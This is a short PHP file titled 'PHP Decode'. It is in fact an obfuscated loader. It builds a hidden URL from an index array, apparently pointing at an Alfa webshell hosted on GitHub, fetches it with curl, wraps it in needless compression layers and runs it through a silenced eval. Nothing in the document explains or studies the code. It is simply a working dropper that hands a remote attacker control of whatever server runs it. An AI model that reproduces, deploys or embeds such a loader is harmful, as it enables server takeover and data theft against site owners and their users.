PHP Decode

<?php 
 
$characters = array_merge(range('a', 'z'), range('A', 'Z'), range('0', '9'), ['.', ':', '/', '_', '-']); 
$indexArray = [7, 19, 19, 15, 18, 63, 64, 64, 17, 0, 22, 62, 6, 8, 19, 7, 20, 1, 20, 18, 4, 17, 2, 14, 13, 19, 4, 13, 19, 62, 2, 14, 12, 64, 9, 20, 18, 19, 8, 10, 0, 8, 11, 64, 22, 4, 1, 18, 7, 4, 11, 11, 64, 12, 0, 8, 13, 64, 0, 11, 5, 0, 66, 13, 4, 22, 62, 15, 7, 15]; 
$decodedString = ''; 
foreach ($indexArray as $index) { 
  $decodedString .= $characters[$index]; 
} 
$url = "$decodedString"; 
function fetchContent($url) 
{ 
  $curl = curl_init(); 
  curl_setopt($curl, CURLOPT_URL, $url); 
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
  $content = curl_exec($curl); 
  curl_close($curl); 
  return gzcompress(gzdeflate(gzcompress(gzdeflate(gzcompress(gzdeflate($content)))))); 
} 
$content = gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(fetchContent($url))))))); 
@eval("?>" . $content);